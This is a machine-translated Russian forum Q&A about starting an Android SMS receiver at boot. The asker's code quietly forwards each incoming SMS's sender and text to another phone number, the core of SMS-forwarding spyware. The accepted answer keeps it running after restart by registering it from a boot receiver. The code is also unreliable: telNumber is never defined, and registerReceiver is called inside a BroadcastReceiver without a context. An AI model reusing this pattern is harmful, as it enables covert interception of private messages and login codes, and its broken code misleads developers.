Вызовите SmsBroadcastreceiver из onBootBroadcastreceiver?
У меня есть класс Sms Broadcast Receiver, который расширяет широковещательный приемник для обработки входящих SMS-сообщений, я хочу, чтобы он работал при загрузке. Как я могу активировать его из моего класса onBootReceiver, который также расширяет вещательный приемник?
мой SmsBroadcastReceiver.java выглядит так
public class SmsBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context konteks, Intent intent) {
Log.v("SmsReceiver", "Tel Number: " + telNumber);
sendSMS(konteks, intent, telNumber);
}
private void sendSMS(Context context, Intent intent, String phoneNumber) {
//ambil sms yang masuk
Bundle bundle = intent.getExtras();
SmsMessage[] msgs = null;
if (bundle != null) {
//menerima pesan dan menyalinnya untuk kemudian dikirim ke nomor tujuan
Object[] pdus = (Object[]) bundle.get("pdus");
msgs = new SmsMessage[pdus.length];
for (int i = 0; i < msgs.length; i++) {
msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
SmsManager sms = SmsManager.getDefault();
String from = msgs[i].getDisplayOriginatingAddress();
String message = msgs[i].getMessageBody().toString();
String all = from + ":" + message;
Log.v("SmsReceiver", "SMS Message: " + all);
sms.sendTextMessage(phoneNumber, null, all, null, null); //kirim pesan
}
}
}
1 ответ
Решение
В классе BootReceiver вы можете динамически зарегистрировать класс SmsBroadcastReceiver.
public class MyBootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
IntentFilter filter = new IntentFilter();
filter.addAction("android.provider.Telephony.SMS_RECEIVED");
registerReceiver(new SmsBroadcastReceiver(), filter);
}
}